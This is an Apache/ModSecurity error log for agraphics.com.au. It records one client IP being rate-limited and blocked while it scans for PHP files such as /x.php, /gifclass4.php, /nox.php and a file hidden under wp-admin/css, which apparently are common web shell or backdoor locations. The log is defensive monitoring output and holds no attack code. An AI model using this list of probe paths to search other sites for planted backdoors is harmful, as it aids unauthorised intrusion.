[Sun Dec 21 21:44:12.919199 2025] [:error] [pid 42755:tid 42757] [client 104.208.116.65:12125] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUf5rOW0XvxgXMTJJbvbBwAAAUA"]
[Sun Dec 21 21:44:13.511533 2025] [:error] [pid 59070:tid 59140] [client 104.208.116.65:12091] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUf5rX3dhXne9KX1kgJYAgAAAIw"]
[Sun Dec 21 21:44:13.822497 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:12215] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aUf5rctpsOP1NfIK_qJwDgAAABg"]
[Sun Dec 21 21:44:14.078700 2025] [proxy_fcgi:error] [pid 59067:tid 59076] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:14.568104 2025] [proxy_fcgi:error] [pid 59067:tid 59097] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:14.705759 2025] [proxy_fcgi:error] [pid 59067:tid 59090] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:14.828611 2025] [proxy_fcgi:error] [pid 59067:tid 59093] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:14.978009 2025] [proxy_fcgi:error] [pid 59067:tid 59084] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:15.112085 2025] [proxy_fcgi:error] [pid 59067:tid 59092] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:15.232093 2025] [proxy_fcgi:error] [pid 59067:tid 59077] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:15.362235 2025] [proxy_fcgi:error] [pid 59067:tid 59095] [client 104.208.116.65:12268] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:44:15.487482 2025] [:error] [pid 59067:tid 59094] [client 104.208.116.65:12268] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aUf5r8tpsOP1NfIK_qJwIAAAABQ"]
[Sun Dec 21 21:44:15.827677 2025] [:error] [pid 59158:tid 59173] [client 104.208.116.65:12084] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aUf5r47NvyNF8ab5VgVNaQAAAM0"]
[Sun Dec 21 21:44:16.222197 2025] [:error] [pid 59158:tid 59182] [client 104.208.116.65:12077] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aUf5sI7NvyNF8ab5VgVNawAAANY"]
[Sun Dec 21 21:44:16.604757 2025] [:error] [pid 59067:tid 59076] [client 104.208.116.65:12051] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ar.php"] [unique_id "aUf5sMtpsOP1NfIK_qJwIwAAAAI"]
[Sun Dec 21 21:44:16.844332 2025] [:error] [pid 42755:tid 42781] [client 104.208.116.65:12082] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aUf5sOW0XvxgXMTJJbvbDQAAAVg"]
[Sun Dec 21 21:44:17.176071 2025] [:error] [pid 59067:tid 59086] [client 104.208.116.65:12061] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aUf5sctpsOP1NfIK_qJwJQAAAAw"]
[Sun Dec 21 21:44:17.449414 2025] [:error] [pid 42755:tid 42759] [client 104.208.116.65:12078] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aUf5seW0XvxgXMTJJbvbDgAAAUI"]
[Sun Dec 21 21:44:17.785724 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:11984] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aUf5seW0XvxgXMTJJbvbDwAAAUg"]
[Sun Dec 21 21:44:18.139464 2025] [:error] [pid 59067:tid 59093] [client 104.208.116.65:12137] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aUf5sstpsOP1NfIK_qJwKAAAABM"]
[Sun Dec 21 21:44:18.667660 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:12126] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aUf5suCmP2zCzk_WZcUW0QAAAQc"]
[Sun Dec 21 21:44:19.052493 2025] [:error] [pid 59158:tid 59172] [client 104.208.116.65:12088] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aUf5s47NvyNF8ab5VgVNbwAAAMw"]
[Sun Dec 21 21:44:19.469310 2025] [:error] [pid 30183:tid 30194] [client 104.208.116.65:12079] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aUf5s-CmP2zCzk_WZcUW0wAAAQk"]
[Sun Dec 21 21:44:19.848112 2025] [:error] [pid 42755:tid 42762] [client 104.208.116.65:12045] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aUf5s-W0XvxgXMTJJbvbGAAAAUU"]
[Sun Dec 21 21:44:20.531599 2025] [:error] [pid 59070:tid 59129] [client 104.208.116.65:12070] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aUf5tH3dhXne9KX1kgJYDgAAAIE"]
[Sun Dec 21 21:44:21.012926 2025] [:error] [pid 30183:tid 30207] [client 104.208.116.65:11995] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aUf5teCmP2zCzk_WZcUW1gAAARY"]
[Sun Dec 21 21:44:21.338908 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:11991] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aUf5teCmP2zCzk_WZcUW2QAAAQY"]
[Sun Dec 21 21:44:21.608160 2025] [:error] [pid 59067:tid 59087] [client 104.208.116.65:12154] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aUf5tctpsOP1NfIK_qJwMAAAAA0"]
[Sun Dec 21 21:44:21.899625 2025] [:error] [pid 42755:tid 42781] [client 104.208.116.65:12044] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aUf5teW0XvxgXMTJJbvbHAAAAVg"]
[Sun Dec 21 21:44:22.252690 2025] [:error] [pid 42755:tid 42765] [client 104.208.116.65:12059] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aUf5tuW0XvxgXMTJJbvbHQAAAUg"]
[Sun Dec 21 21:44:22.530316 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:12049] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aUf5to7NvyNF8ab5VgVNdgAAAME"]
[Sun Dec 21 21:44:22.920377 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12054] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aUf5tuW0XvxgXMTJJbvbIQAAAU0"]
[Sun Dec 21 21:44:23.206086 2025] [:error] [pid 42755:tid 42762] [client 104.208.116.65:12014] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aUf5t-W0XvxgXMTJJbvbIwAAAUU"]
[Sun Dec 21 21:44:23.544165 2025] [:error] [pid 30183:tid 30195] [client 104.208.116.65:11968] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aUf5t-CmP2zCzk_WZcUW2gAAAQo"]
[Sun Dec 21 21:44:23.838814 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:12080] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aUf5t47NvyNF8ab5VgVNeQAAAMY"]
[Sun Dec 21 21:44:24.205218 2025] [:error] [pid 59158:tid 59179] [client 104.208.116.65:12077] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aUf5uI7NvyNF8ab5VgVNewAAANM"]
[Sun Dec 21 21:44:24.531793 2025] [:error] [pid 42755:tid 42757] [client 104.208.116.65:12208] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aUf5uOW0XvxgXMTJJbvbKAAAAUA"]
[Sun Dec 21 21:44:24.884991 2025] [:error] [pid 59158:tid 59174] [client 104.208.116.65:12056] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aUf5uI7NvyNF8ab5VgVNfwAAAM4"]
[Sun Dec 21 21:44:25.501531 2025] [:error] [pid 59070:tid 59135] [client 104.208.116.65:11997] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aUf5uX3dhXne9KX1kgJYHAAAAIc"]
[Sun Dec 21 21:44:25.954806 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:12027] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUf5ueCmP2zCzk_WZcUW3AAAAQQ"]
[Sun Dec 21 21:44:26.258515 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:12220] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUf5uuW0XvxgXMTJJbvbLgAAAVQ"]
[Sun Dec 21 21:44:26.567202 2025] [:error] [pid 59158:tid 59183] [client 104.208.116.65:33402] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUf5uo7NvyNF8ab5VgVNgwAAANc"]
[Sun Dec 21 21:44:26.844278 2025] [:error] [pid 59158:tid 59173] [client 104.208.116.65:12287] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUf5uo7NvyNF8ab5VgVNhgAAAM0"]
[Sun Dec 21 21:44:27.317377 2025] [:error] [pid 59158:tid 59161] [client 104.208.116.65:11971] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aUf5u47NvyNF8ab5VgVNhwAAAME"]
[Sun Dec 21 21:44:27.650614 2025] [:error] [pid 30183:tid 30207] [client 104.208.116.65:11938] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aUf5u-CmP2zCzk_WZcUW5AAAARY"]
[Sun Dec 21 21:44:27.958202 2025] [:error] [pid 59068:tid 59123] [client 104.208.116.65:12095] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aUf5uxmLyLqWUlrjwyedAgAAAFY"]
[Sun Dec 21 21:44:28.287150 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:12007] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aUf5vBmLyLqWUlrjwyedAwAAAE0"]
[Sun Dec 21 21:44:28.736145 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:12063] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aUf5vOCmP2zCzk_WZcUW8QAAAQg"]
[Sun Dec 21 21:44:29.111154 2025] [:error] [pid 59068:tid 59113] [client 104.208.116.65:12076] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aUf5vRmLyLqWUlrjwyedBQAAAEw"]
[Sun Dec 21 21:44:29.376451 2025] [:error] [pid 59068:tid 59106] [client 104.208.116.65:12089] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aUf5vRmLyLqWUlrjwyedBwAAAEU"]
[Sun Dec 21 21:44:29.626795 2025] [:error] [pid 42755:tid 42771] [client 104.208.116.65:12022] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aUf5veW0XvxgXMTJJbvbMwAAAU4"]
[Sun Dec 21 21:44:29.914062 2025] [:error] [pid 30183:tid 30188] [client 104.208.116.65:12122] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aUf5veCmP2zCzk_WZcUW8wAAAQM"]
[Sun Dec 21 21:44:30.293104 2025] [:error] [pid 59158:tid 59184] [client 104.208.116.65:12233] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aUf5vo7NvyNF8ab5VgVNjgAAANg"]
[Sun Dec 21 21:44:30.662299 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12026] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aUf5vuW0XvxgXMTJJbvbOQAAAU0"]
[Sun Dec 21 21:44:30.992982 2025] [:error] [pid 59070:tid 59142] [client 104.208.116.65:12130] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aUf5vn3dhXne9KX1kgJYIgAAAI4"]
[Sun Dec 21 21:44:31.290373 2025] [:error] [pid 30183:tid 30196] [client 104.208.116.65:11957] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aUf5v-CmP2zCzk_WZcUW-AAAAQs"]
[Sun Dec 21 21:44:31.660979 2025] [:error] [pid 59070:tid 59152] [client 104.208.116.65:12012] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aUf5v33dhXne9KX1kgJYJQAAAJg"]
[Sun Dec 21 21:44:32.127631 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:11928] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aUf5wMtpsOP1NfIK_qJwOwAAABg"]
[Sun Dec 21 21:44:32.397604 2025] [:error] [pid 59070:tid 59141] [client 104.208.116.65:11990] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aUf5wH3dhXne9KX1kgJYJwAAAI0"]
[Sun Dec 21 21:44:32.691601 2025] [:error] [pid 59070:tid 59140] [client 104.208.116.65:12106] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aUf5wH3dhXne9KX1kgJYKQAAAIw"]
[Sun Dec 21 21:44:33.256702 2025] [:error] [pid 59070:tid 59150] [client 104.208.116.65:11949] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aUf5wX3dhXne9KX1kgJYLAAAAJY"]
[Sun Dec 21 21:44:33.707119 2025] [:error] [pid 59070:tid 59149] [client 104.208.116.65:11983] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aUf5wX3dhXne9KX1kgJYLgAAAJU"]
